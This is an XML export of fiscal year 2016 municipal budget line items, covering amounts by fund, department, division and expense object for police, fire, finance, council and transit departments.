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<row _id="18416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3132</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3132</total></row>
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<row _id="18418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1817</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1817</total></row>
<row _id="18419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1355535</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1355535</total></row>
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<row _id="18421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533600.0</object><object_description>CONF / MTGS / TRAVEL-KM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7414</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7414</total></row>
<row _id="18422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1645360</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1645360</total></row>
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<row _id="18424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>64538</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>64538</total></row>
<row _id="18425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1359665</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1359665</total></row>
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<row _id="18427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>118200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>118200</total></row>
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<row _id="18430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3893491</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3893491</total></row>
<row _id="18432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17000</total></row>
<row _id="18433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>38967</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38967</total></row>
<row _id="18434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17738</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17738</total></row>
<row _id="18435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>22000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22000</total></row>
<row _id="18436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533590.0</object><object_description>CONF / MTGS / TRAVEL-GD</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3089</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3089</total></row>
<row _id="18437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>47312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>47312</total></row>
<row _id="18438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>312</total></row>
<row _id="18439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18000</total></row>
<row _id="18442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>67777</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>67777</total></row>
<row _id="18443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9423</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9423</total></row>
<row _id="18444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8160</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8160</total></row>
<row _id="18445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5799</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5799</total></row>
<row _id="18446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6520</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6520</total></row>
<row _id="18447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20106</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20106</total></row>
<row _id="18448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>132300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>132300</total></row>
<row _id="18449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12000</total></row>
<row _id="18450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1494572</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1494572</total></row>
<row _id="18451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4000</total></row>
<row _id="18452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522045.0</object><object_description>PAYOUTS FOR UNINSURED PL/PD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500000</total></row>
<row _id="18453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>74000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>74000</total></row>
<row _id="18454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2038</total></row>
<row _id="18455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>34552</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>34552</total></row>
<row _id="18456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1064</total></row>
<row _id="18457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>566240.0</object><object_description>PARKING METER ENFORCEMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>33305</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>33305</total></row>
<row _id="18458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>266</total></row>
<row _id="18459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5854</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5854</total></row>
<row _id="18460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>586</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>586</total></row>
<row _id="18461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14743</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14743</total></row>
<row _id="18462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>72676</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72676</total></row>
<row _id="18463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1988591</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1988591</total></row>
<row _id="18464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>141743</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>141743</total></row>
<row _id="18465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5756</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5756</total></row>
<row _id="18466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>80232</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80232</total></row>
<row _id="18467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2129</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2129</total></row>
<row _id="18468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>107</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>107</total></row>
<row _id="18469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1064</total></row>
<row _id="18470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10856</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10856</total></row>
<row _id="18471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>661654</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>661654</total></row>
<row _id="18472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2129</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2129</total></row>
